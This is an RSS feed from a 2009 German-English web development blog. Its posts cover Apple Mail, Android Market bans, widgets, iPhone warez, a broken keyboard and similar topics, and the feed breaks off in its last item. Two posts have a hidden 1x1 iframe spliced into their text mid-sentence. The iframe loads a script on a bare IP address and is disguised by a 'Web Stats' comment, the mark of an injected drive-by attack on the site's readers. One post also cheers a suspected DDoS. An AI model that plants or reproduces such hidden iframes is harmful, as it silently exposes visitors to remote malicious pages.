<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Formatvorlage</title>
	<atom:link href="http://blog.formatvorlage.de/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.formatvorlage.de</link>
	<description>Web Development Blog</description>
	<lastBuildDate>Wed, 25 Nov 2009 00:54:03 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Building (Web) Applications in 2009</title>
		<link>http://blog.formatvorlage.de/2009/11/25/building-web-applications-in-2009/</link>
		<comments>http://blog.formatvorlage.de/2009/11/25/building-web-applications-in-2009/#comments</comments>
		<pubDate>Wed, 25 Nov 2009 00:54:03 +0000</pubDate>
		<dc:creator>Claus</dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://blog.formatvorlage.de/?p=399</guid>
		<description><![CDATA[Thinking about it for the whole evening: the most common and most important metaphors learned by all of us on an OS desktop suck big time in 2009 and only work in a non-connected and low-information world.
Folders? Can you organize your data in specific folders? I can&#8217;t. Piles of Windows? I don&#8217;t need them, switching [...]]]></description>
			<content:encoded><![CDATA[<p>Thinking about it for the whole evening: the most common and most important metaphors learned by all of us on an OS desktop suck big time in 2009 and only work in a non-connected and low-information world.</p>
<p>Folders? Can you organize your data in specific folders? I can&#8217;t. Piles of Windows? I don&#8217;t need them, switching confuses me and helps me unfocus. Asynchronous or timed behavior? Ever seen anything that handles that well? I don&#8217;t.</p>
<p>I need to think more about that.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.formatvorlage.de/2009/11/25/building-web-applications-in-2009/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Adding a Second Language</title>
		<link>http://blog.formatvorlage.de/2009/06/18/adding-a-second-language/</link>
		<comments>http://blog.formatvorlage.de/2009/06/18/adding-a-second-language/#comments</comments>
		<pubDate>Thu, 18 Jun 2009 11:52:47 +0000</pubDate>
		<dc:creator>Claus</dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://blog.formatvorlage.de/?p=393</guid>
		<description><![CDATA[Starting with today I&#8217;ll have posts written in English as well on this blog. Or I might just switch completely. Who knows. Perhaps I keep on ranting in German and try to give a professionell impression in English. So many options.
]]></description>
			<content:encoded><![CDATA[<p>Starting with today I&#8217;ll have posts written in English as well on this blog. Or I might just switch completely. Who knows. Perhaps I keep on ranting in German and try to give a professionell impression in English. So many options.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.formatvorlage.de/2009/06/18/adding-a-second-language/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>ExpertsExchange verliert an StackOverflow</title>
		<link>http://blog.formatvorlage.de/2009/06/18/expertsexchange-verliert-an-stackoverflow/</link>
		<comments>http://blog.formatvorlage.de/2009/06/18/expertsexchange-verliert-an-stackoverflow/#comments</comments>
		<pubDate>Thu, 18 Jun 2009 09:18:07 +0000</pubDate>
		<dc:creator>Claus</dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://blog.formatvorlage.de/?p=392</guid>
		<description><![CDATA[Das ist mal eine gute Nachricht. Die unsäglich üble ExpertsExchange Site (Alias: AmateurTrashtalk), die es leider immer irgendwie schafft, ziemlich weit oben in den Google Ergebnissen aufzutauschen, verliert laut einer auf Compete.com veröffentlichten Statistik gegenüber StackOverflow an Boden. Wer StackOverflow nicht kennt: ausprobieren und nutzen, bis die Trolle die Herrschaft übernehmen.
]]></description>
			<content:encoded><![CDATA[<p>Das ist mal eine gute Nachricht. Die unsäglich üble ExpertsExchange Site (Alias: AmateurTrashtalk), die es leider immer irgendwie schafft, ziemlich weit oben in den Google Ergebnissen aufzutauschen, verliert laut einer auf <a href="http://siteanalytics.compete.com">Compete.com</a> veröffentlichten <a href="http://siteanalytics.compete.com/stackoverflow.com+experts-exchange.com/">Statistik</a> gegenüber <a href="http://stackoverflow.com/">StackOverflow</a> an Boden. Wer StackOverflow nicht kennt: ausprobieren und nutzen, bis die Trolle die Herrschaft übernehmen.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.formatvorlage.de/2009/06/18/expertsexchange-verliert-an-stackoverflow/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wie man unwartbaren Code schreibt</title>
		<link>http://blog.formatvorlage.de/2009/06/02/wie-man-unwartbaren-code-schreibt/</link>
		<comments>http://blog.formatvorlage.de/2009/06/02/wie-man-unwartbaren-code-schreibt/#comments</comments>
		<pubDate>Tue, 02 Jun 2009 16:19:52 +0000</pubDate>
		<dc:creator>Claus</dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://blog.formatvorlage.de/?p=391</guid>
		<description><![CDATA[Schreibe ich natürlich schon   völlig intuitiv, aber auf The Hacker&#8217;s Choice gibt es einen großartigen Guide, um diese Kunst zu perfektionieren.
]]></description>
			<content:encoded><![CDATA[<p>Schreibe ich natürlich schon<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> völlig intuitiv, aber auf The Hacker&#8217;s Choice gibt es einen großartigen <a href="http://freeworld.thc.org/root/phun/unmaintain.html?repost=forPosterity">Guide</a>, um diese Kunst zu perfektionieren.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.formatvorlage.de/2009/06/02/wie-man-unwartbaren-code-schreibt/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Unglückliche Verkettung abstruser Zufälle</title>
		<link>http://blog.formatvorlage.de/2009/04/28/ungluckliche-verkettung-abstruser-zufalle/</link>
		<comments>http://blog.formatvorlage.de/2009/04/28/ungluckliche-verkettung-abstruser-zufalle/#comments</comments>
		<pubDate>Tue, 28 Apr 2009 22:18:51 +0000</pubDate>
		<dc:creator>Claus</dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://blog.formatvorlage.de/?p=388</guid>
		<description><![CDATA[Heute ist es witzig, gestern abend gegen 23:00 war es das nicht. Mit einer wichtigen Aufgabe komme ich gestern abend von der Arbeit nach Hause. Erst was gefuttert und dann ein kleines Nickerchen. Gut gelaunt, aber nicht irrsinnig motiviert aufgestanden und vor die Kiste gesetzt.
Plötzlich naht Ärger: beim Verschieben von Fenstern bleiben die Fenster mittendrin [...]]]></description>
			<content:encoded><![CDATA[<p>Heute ist es witzig, gestern abend gegen 23:00 war es das nicht. Mit einer wichtigen Aufgabe komme ich gestern abend von der Arbeit nach Hause. Erst was gefuttert und dann ein kleines Nickerchen. Gut gelaunt, aber nicht irrsinnig motiviert aufgestanden und vor die Kiste gesetzt.</p>
<p>Plötzlich naht Ärger: beim Verschieben von Fenstern bleiben die Fenster mittendrin liegen. Das wird dann immer schlimmer und irgendwann, so nach 20 Minuten taucht auf einen Linksklick immer das Kontextmenu auf. Ok, Finger auf der Mighty Mouse weiter nach links, manchmal ist die Kleine ja pingelig. Nix. Ich wurschtel zwei Minuten mit steigendem Blutdruck an der Maus, Präsentation erstellen ohne Maus geht schließlich nicht. Komme dann auf die Idee in der Systemsteuerung die rechte Maustaste mit der linken zu belegen. Eigentlich glorreich, aber geht nicht. Was mich eigentlich hätte stutzig machen müssen, aber wie gesagt, der Blu-Blutdruck.</p>
<p>Mit exponentiell ansteigendem Ärger dann schon die Schere angepeilt, um das Ding aufzuhebeln. Und dabei mit dem Ellenbogen ganz locker die fast volle Flasche Bier über die Tastatur gekippt. Blutdruck explodiert, Ärger auch. Im Sprint Tuch geholt, Tastatur umdrehen, ausschütteln, abwischen. Eigentlich konnte das Bier nur den oberen Teil erwischt haben. Beim Testen dann festgestellt, dass Cmd, Alt, Ctrl, Shift links und Tab nicht mehr gehen. Und die Maus immer noch nicht. Völlige Hilflosigkeit macht sich breit. Frustrationsabbau durch twittern, mit dickem Hals ins Bett und den Wecker auf 6 Uhr gestellt.</p>
<p>Und heute mittag, an einem Tag, wo ich für alles außer das Zeit gehabt hätte, in die Stadt, für 49,99 Euro eine neue Mighty Teure Maus gekauft. Eine alte Apple Weißer Klotz Not-Tastatur hatte ich mir vor einer Weile schon besorgt, um nicht von diesen stylischen, aber völlig unbrauchbaren neuen Alu-Tastaturen abhängig zu sein. Gegen Abend dann kurz nach Hause. Tastatur gesucht und angeschlossen. Und plötzlich geht die Maus wieder. Und mir schiesst nach einer Sekunde des Rätsels Lösung durch den Kopf.</p>
<p>Was war&#8217;s? Lösungshinweis habe ich oben gegeben.</p>
<p>Richtig, die Tastatur war schon vorher kaputt, genauer gesagt die linke Ctrl-Taste. Die sorgt nämlich dafür, dass jeder Klick das Kontextmenu öffnet. Der gescheiterte Versuch, die linke auf die rechte Maustaste zu legen, hat das eigentlich gezeigt. Die Tasten, die nach dem Bier zusätzlich kaputt waren, waren bloß ein Bonus. Talk about bad luck. Und eingeschränkte Denkvorgänge bei überhöhtem Blutdruck.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.formatvorlage.de/2009/04/28/ungluckliche-verkettung-abstruser-zufalle/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hochqualitative Widgets? Fehlanzeige</title>
		<link>http://blog.formatvorlage.de/2009/04/19/hochqualitative-widgets-fehlanzeige/</link>
		<comments>http://blog.formatvorlage.de/2009/04/19/hochqualitative-widgets-fehlanzeige/#comments</comments>
		<pubDate>Sun, 19 Apr 2009 19:34:50 +0000</pubDate>
		<dc:creator>Claus</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Widget]]></category>

		<guid isPermaLink="false">http://blog.formatvorlage.de/?p=387</guid>
		<description><![CDATA[Widgets sind ein merkwürdiges Thema. Die ersten &#8220;richtigen&#8221; Widgets haben so gegen 2003 das Licht der Welt erblickt, es kam Netvibes, dann iGoogle und spätestens seit dem Web 2.0 Hype redet jeder Hansel davon. Und dann schaut man sich mal in der Widget Welt um und was findet man? Einen riesigen Haufen nutzlosen Müll. Netvibes [...]]]></description>
			<content:encoded><![CDATA[<p>Widgets sind ein merkwürdiges Thema. Die ersten &#8220;richtigen&#8221; Widgets haben so gegen 2003 das Licht der Welt erblickt, es kam Netvibes, dann iGoogle und spätestens seit dem Web 2.0 Hype redet jeder Hansel davon. Und dann schaut man sich mal in der Widget Welt um und was findet man? Einen riesigen Haufen nutzlosen Müll. Netvibes listet aktuell über 140.000, Widgetbox über 130.00, Google listet keine Zahl, aber es wird sich in einer ähnlichen Größenordnung bewegen. Von den 140.000 Widgets auf Netvibes sind 80.000 in der Kategorie News. Sollte mich wundern, wenn es so viele interessante Nachrichtenquellen gibt. Also: Recycling, Recycling und nochmal Recycling.</p>
<p>Und wie schaut es mit richtigen Applikationen<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> aus? Gästebücher? Fotoalben? Editoren? Irgendwas, was nicht einfach nur irgendeinen Feed oder eine Art von Datenquelle zieht und es in einer rechteckigen Box darstellt? Fast völlige Fehlanzeige.</p>
<p>Das liegt natürlich auch daran, dass noch keiner das Problem eingebetteter komplexerer Applikationen gelöst hat. Also: wie würde sich eine mehrseitige Applikation in einer fremden Webpage verhalten? Auf welche Seite springt man dann? Wie verhält sich eine mehrseitige Applikation, wenn die einzelnen Seiten unterschiedliche Dimensionen haben? Darf sie sich dann munter resizen?</p>
<p>Fragen über Fragen. Auf jeden Fall wird es Zeit, dass sich jemand Gedanken über die nächsten Schritte macht. Vorschläge?</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.formatvorlage.de/2009/04/19/hochqualitative-widgets-fehlanzeige/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Platform Lock-in ausgehebelt</title>
		<link>http://blog.formatvorlage.de/2009/04/07/platform-lock-in-ausgehebelt/</link>
		<comments>http://blog.formatvorlage.de/2009/04/07/platform-lock-in-ausgehebelt/#comments</comments>
		<pubDate>Tue, 07 Apr 2009 22:11:51 +0000</pubDate>
		<dc:creator>Claus</dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://blog.formatvorlage.de/?p=384</guid>
		<description><![CDATA[Vor einigen Tagen habe ich noch freundlich die Android-Freunde darauf  hingewiesen, dass auch dort nicht alles so frei ist wie es scheint. Entsprechende Fallbeispiele zum Verhalten von Apple sind bekannt und nichts neues. Bemerkenswert fand ich in diesem Zusammenhang die heutige Veröffentlichung einer neuen Gmail Version, optimiert für iPhone und Android. Bemerkenswert deswegen, weil [...]]]></description>
			<content:encoded><![CDATA[<p>Vor einigen Tagen habe ich noch freundlich die Android-Freunde darauf <a href="http://blog.formatvorlage.de/2009/04/02/verbannt-aus-dem-android-market/"></a> hingewiesen, dass auch dort nicht alles so frei ist wie es scheint. Entsprechende Fallbeispiele zum Verhalten von Apple sind bekannt und nichts neues. Bemerkenswert fand ich in diesem Zusammenhang die heutige <a href="http://www.techcrunch.com/2009/04/07/mobile-gmail-becomes-more-like-its-desktop-father/">Veröffentlichung</a> einer neuen Gmail Version, optimiert für iPhone und Android. Bemerkenswert deswegen, weil Apple im September 2008 eine Mail Applikation <a href="http://apple.slashdot.org/article.pl?sid=08/09/21/122225&amp;from=rss">aus dem App Store geschmissen</a> hat, weil diese aus Sicht des weißen Riesen aus Cupertino in Konkurrenz zum eingebauten Mailer des iPhones steht (was laut Lizenz nicht erlaubt ist). Und was kann Apple gegen Gmail machen? Jar-nüscht, denn es ist eine Browser Anwendung, und die kann Apple nicht verbannen.</p>
<p>Als nächstes kommt dann eine akzeptable Konkurrenz zum Kalender und allem anderen was nicht direkten Zugriff auf die Hardware benötigt. Nur: in der stetigen Evolution moderner Browser wird auch diese letzte Bastion wahrscheinlich immer stärker bedrängt, der neue Firefox kann nativ, also ohne Plugins, Videos darstellen und es gibt Vorschläge für eine Webcam API für Browser.</p>
<p>Das Einsperren der Anwender auf die eigene Plattform ist auf lange Sicht zum Scheitern verurteilt. Gut, dass man zumindest im Fall von Gmail Google in die Hände fällt, ist noch ein anderes Thema, aber auch dort gibt es genug Konkurrenz.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.formatvorlage.de/2009/04/07/platform-lock-in-ausgehebelt/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Power of Reddit</title>
		<link>http://blog.formatvorlage.de/2009/04/06/the-power-of-reddit/</link>
		<comments>http://blog.formatvorlage.de/2009/04/06/the-power-of-reddit/#comments</comments>
		<pubDate>Mon, 06 Apr 2009 22:33:44 +0000</pubDate>
		<dc:creator>Claus</dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://blog.formatvorlage.de/?p=383</guid>
		<description><![CDATA[pwned! Vor 6 Stunden wurde auf Reddit ein Post veröffentlicht, in dem ein &#8220;Webdesigner&#8221; names Todd Picquelle die komplette Site eines anderen Designers, Rob Morris, komplett gerippt hat. Photos geändert und sogar einen Artikel, in dem über Rob berichtet wurde, mit seinem Namen versehen. Tja. Habe Todds Site vor 3 Minuten aufgemacht, da war gerade [...]]]></description>
			<content:encoded><![CDATA[<p>pwned! Vor 6 Stunden wurde auf Reddit ein <a href="http://www.reddit.com/r/WTF/comments/8ae27/reddit_name_and_shame_this_guy_todd_picquelle/">Post</a> veröffentlicht, in dem ein &#8220;Webdesigner&#8221; names <a href="http://picquelle.com/">Todd Picquelle</a> die komplette Site eines anderen Designers, <a href="http://www.digitalmash.com/bio/">Rob Morris</a>, komplett gerippt hat. Photos geändert und sogar einen Artikel, in dem über Rob berichtet wurde, mit seinem Namen versehen. Tja. Habe Todds Site vor 3 Minuten aufgemacht, da war gerade ein Neandertaler mit seinen Photo und eine Entschuldigung zu sehen. Dann Reload, nur noch ein Link auf Robs Site. Jetzt gerade ein 503, offline. Wahrscheinlich bekommt er gerade eine DDos Attacke von Reddit-Lesern ab. Hahaha.</p>
<p>UPDATE [07.04.09]: Die Site ist wieder erreichbar. Aber pwned <img src='http://blog.formatvorlage.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.formatvorlage.de/2009/04/06/the-power-of-reddit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Warten auf Schnee</title>
		<link>http://blog.formatvorlage.de/2009/04/06/warten-auf-schnee/</link>
		<comments>http://blog.formatvorlage.de/2009/04/06/warten-auf-schnee/#comments</comments>
		<pubDate>Mon, 06 Apr 2009 20:53:10 +0000</pubDate>
		<dc:creator>Claus</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[Mail]]></category>
		<category><![CDATA[OS X]]></category>
		<category><![CDATA[Snow Leopard]]></category>
		<category><![CDATA[Spaces]]></category>

		<guid isPermaLink="false">http://blog.formatvorlage.de/?p=382</guid>
		<description><![CDATA[Großartig verwirrender Titel, oder? Natürlich rede ich nicht vom Winter, sondern von Leoparden. Snow Leopard, um genau zu sein, OS X 10.6. Kommt wahrscheinlich zur WWDC im Juni. Und ich hoffe, die haben einen ganzen Sack voller Neuigkeiten. Denn: Apple Mail ist einfach scheisse &#8211; sogar im Vergleich zu Outlook! &#8211; , Spaces sind ein [...]]]></description>
			<content:encoded><![CDATA[<p>Großartig verwirrender Titel, oder? Natürlich rede ich nicht vom Winter, sondern von Leoparden. Snow Leopard, um genau zu sein, OS X 10.6. Kommt wahrscheinlich zur WWDC im Juni. Und ich hoffe, die haben einen ganzen Sack voller Neuigkeiten. Denn: Apple Mail ist einfach scheisse &#8211; sogar im Vergleich zu Outlook! &#8211; , Spaces sind ein Witz, dem Finder würde es ebenfalls gut zu Gesicht stehen, mal poliert zu werden. Ich will zum Beispiel keine Dialoge mehr sehen, die sich seit System 7.5 optisch nicht verändert haben (siehe Dateien kopieren).</p>
<p>Ich habe zum Beispiel ca. 1500 Mails in der Inbox und Mail ist schnarchlahm. Das fühlt sich nicht nach Core Data, sondern nach Core C64 an. Spaces sind auch keine Spaces, denn das würde ja Räume heißen, mehrere also. Das schöne an verschiedenen Räumen ist ja, dass man sie anders aussehen lassen kann. Und andere Sache drin sind. Bei Spaces liegt aber immer der gleiche Kram drauf und das Aussehen lässt sich nicht anpassen. Die sind also so unintuitiv, wie es nur geht.</p>
<p>So, jetzt ist aber gut. Bevor die Sachen, die mich bei OS X ärgern, auch nur näherungsweise in die nervenzerfetzende Region kommen, in der ich mich nach 8 Jahren Windows befunden habe, ist Grönland eisfrei. Aber es schneit ja bald.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.formatvorlage.de/2009/04/06/warten-auf-schnee/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ausnahmsweise was nettes während der Krise</title>
		<link>http://blog.formatvorlage.de/2009/04/04/ausnahmsweise-was-nettes-waehren-der-krise/</link>
		<comments>http://blog.formatvorlage.de/2009/04/04/ausnahmsweise-was-nettes-waehren-der-krise/#comments</comments>
		<pubDate>Sat, 04 Apr 2009 11:58:35 +0000</pubDate>
		<dc:creator>Claus</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Flex]]></category>

		<guid isPermaLink="false">http://blog.formatvorlage.de/?p=380</guid>
		<description><![CDATA[Adobe habe ich bisher nicht unbedingt in die im Verhältnis zum Rest überschaubare Runde freundlicher Unternehmen gesteckt, siehe zum Beispiel die Photoshop-Preispolitik. Was ich gerade entdeckt habe, fand ich allerdings so nett, dass ich&#8217;s posten muss: Adobe bietet in einer begrenzten Aktion allen Entwicklern, die &#8220;von der gegenwärtigen ökonomischen Situation getroffen und arbeitslos&#8221; sind, die [...]]]></description>
			<content:encoded><![CDATA[<p>Adobe habe ich bisher nicht unbedingt in die im Verhältnis zum Rest überschaubare Runde freundlicher Unternehmen gesteckt, siehe zum Beispiel die Photoshop-Preispolitik. Was ich gerade entdeckt habe, fand ich allerdings so nett, dass ich&#8217;s posten muss: Adobe bietet in einer begrenzten Aktion allen Entwicklern, die &#8220;von der gegenwärtigen ökonomischen Situation getroffen und arbeitslos&#8221; sind, die Vollversion von Flex Builder 3 Professionell kostenlos an. Dafür darf man es nur privat verwenden und verliert die Lizenz bei Aufnahme einer Beschäftigung wieder. Mehr <a href="https://freeriatools.adobe.com/learnflex/">Infos und die komplette Lizenzvereinbarung</a> bei Adobe. Sehr schöne Sache.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.formatvorlage.de/2009/04/04/ausnahmsweise-was-nettes-waehren-der-krise/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Verbannt aus dem Android Market</title>
		<link>http://blog.formatvorlage.de/2009/04/02/verbannt-aus-dem-android-market/</link>
		<comments>http://blog.formatvorlage.de/2009/04/02/verbannt-aus-dem-android-market/#comments</comments>
		<pubDate>Thu, 02 Apr 2009 16:31:15 +0000</pubDate>
		<dc:creator>Claus</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[Android Market]]></category>
		<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://blog.formatvorlage.de/?p=379</guid>
		<description><![CDATA[Dieses Geblubber, was für ein unglaublich offener Standard Android ist &#8211; vor allem im Gegensatz zu den bösen Jungs von Apple und ihrem App Store &#8211; fand ich immer ein wenig anstrengend. Aber bei Google heißt es ja immer so schön &#8220;don&#8217;t be evil&#8221; und die Welt schluckt es bisher weitgehend widerspruchslos. Gut, bei Android [...]]]></description>
			<content:encoded><![CDATA[<p>Dieses Geblubber, was für ein unglaublich offener Standard Android ist &#8211; vor allem im Gegensatz zu den bösen Jungs von Apple und ihrem App Store &#8211; fand ich immer ein wenig anstrengend. Aber bei Google heißt es ja immer so schön &#8220;don&#8217;t be evil&#8221; und die Welt schluckt es bisher weitgehend widerspruchslos. Gut, bei Android muss man sich nicht als Developer registrieren und auch noch dafür zahlen, dass man hilft die Plattform attraktiver zu machen. Freiheit besteht aber nicht nur darin, entwickeln zu dürfen, sondern die Früchte dessen auch vertreiben zu dürfen. Im Moment läuft das alles über den Android Market und der ist eben nicht frei. Erstes Opfer scheint eine Tethering-Software zu sein, mit der man sein in Joghurtbecherplastik gehülltes, wackliges G1 als Modem am Laptop betreiben kann. Das ist gegen die Lizenzvereinbarung. Alles weitere im <a href="http://www.itworld.com/mobile-amp-wireless/65504/google-bans-tethering-app-android-market">ITWorld Artikel</a>. Willkommen in der Realität, liebe Android Entwickler.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.formatvorlage.de/2009/04/02/verbannt-aus-dem-android-market/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Wie du denen, so ich dir</title>
		<link>http://blog.formatvorlage.de/2009/03/31/wie-du-denen-so-ich-dir/</link>
		<comments>http://blog.formatvorlage.de/2009/03/31/wie-du-denen-so-ich-dir/#comments</comments>
		<pubDate>Tue, 31 Mar 2009 18:31:33 +0000</pubDate>
		<dc:creator>Claus</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[App Store]]></category>
		<category><![CDATA[Appulous]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[Warez]]></category>

		<guid isPermaLink="false">http://blog.formatvorlage.de/?p=378</guid>
		<description><![CDATA[Meine illegalen Aktivitäten mit dem iPhone beschränken sich auf den Jailbreak und den SIM Unlock. Programme, die mich interessieren, kaufe ich im App Store. Dass es anscheinend auch eine &#8220;Warez&#8221; Szene für das iPhone gibt, war mir bis vor ein paar Wochen neu. Und das es da so richtig heiß hergeht, habe ich via SpOn [...]]]></description>
			<content:encoded><![CDATA[<p>Meine illegalen Aktivitäten mit dem iPhone beschränken sich auf den Jailbreak und den SIM Unlock. Programme, die mich interessieren, kaufe ich im App Store. Dass es anscheinend auch eine &#8220;Warez&#8221; Szene für das iPhone gibt, war mir bis vor ein paar Wochen neu. Und das es da so richtig heiß hergeht, habe ich via SpOn erfahren. Gecrackte App Store Programme gab es demnach zuerst mit Hilfe von Appulous. Finanziert hat Hackulo.us, der Betreiber des Dienstes, sich über Spenden. Bis dann Mega aufgetaucht ist. Und bei denen ist nichts mit nöppes, sondern man finanziert sich über Subscriptions. Für 9,99$ im Monat, 23,99$ pro Quartal, 41,99 für sechs Monate. Was wiederum Appulous, bzw. Hackulo.us gar nicht gefallen hat. Piratenehre, und so. Und deswegen hat man dort Grabulous entwickelt, mit denen man die auf Mega gehosteten Programme ziehen kann. Für nöppes. Mit der schönen Begründung, &#8220;wenn schon zahlen, dann an die Entwickler der Programme.&#8221; Wie würde Nelson sagen: &#8220;Haha&#8221;.</p>
<p>Und warum habe ich nichts verlinkt? Weil ich es affig finde, Applikationen, von denen die meisten nicht teurer als 7,99 sind, zu klauen. Wer sich den Luxus eines iPhone leisten kann, sollte sich nicht wie ein Asi verhalten und Äpfel aus der Auslage klauen.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.formatvorlage.de/2009/03/31/wie-du-denen-so-ich-dir/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Primäre Identität</title>
		<link>http://blog.formatvorlage.de/2009/03/31/primare-identitat/</link>
		<comments>http://blog.formatvorlage.de/2009/03/31/primare-identitat/#comments</comments>
		<pubDate>Tue, 31 Mar 2009 16:59:44 +0000</pubDate>
		<dc:creator>Claus</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://blog.formatvorlage.de/?p=377</guid>
		<description><![CDATA[Schon wieder Twitter-related: wer vermeiden will, dass das eigene Twitter-Profil bei Google als Toptreffer für den eigenen Namen gelistet wird und das mühsam gepflegte Blog nur unter ferner liefen, sollte Links innerhalb des Blogs mit einem rel=&#8221;me&#8221; versehen. Also zum Beispiel die Verlinkung auf die Hauptseite vom Key Visual oder auf die About Seite statt [...]]]></description>
			<content:encoded><![CDATA[<p>Schon wieder Twitter-related: wer vermeiden will, dass das eigene Twitter-Profil bei Google als Toptreffer für den eigenen Namen gelistet wird und das mühsam gepflegte Blog nur unter ferner liefen, sollte Links innerhalb des Blogs mit einem rel=&#8221;me&#8221; versehen. Also zum Beispiel die Verlinkung auf die Hauptseite vom Key Visual oder auf die About Seite statt &lt;a href=&#8221;http://blog.formatvorlage.de/&#8230;&#8221;&gt;&#8230; mit &lt;a href=&#8221;http://blog.formatvorlage.de/&#8230;&#8221; rel=&#8221;me&#8221;&gt;.</p>
<p><a href="http://marshallk.com/add-one-line-to-your-blog-or-twitter-could-become-your-primary-identity">Gefunden</a> in Marshall Kirkpatricks Blog.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.formatvorlage.de/2009/03/31/primare-identitat/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ein Alptraum in 4:17</title>
		<link>http://blog.formatvorlage.de/2009/03/31/ein-alptraum-in-417/</link>
		<comments>http://blog.formatvorlage.de/2009/03/31/ein-alptraum-in-417/#comments</comments>
		<pubDate>Tue, 31 Mar 2009 16:34:17 +0000</pubDate>
		<dc:creator>Claus</dc:creator>
				<category><![CDATA[News]]></category>
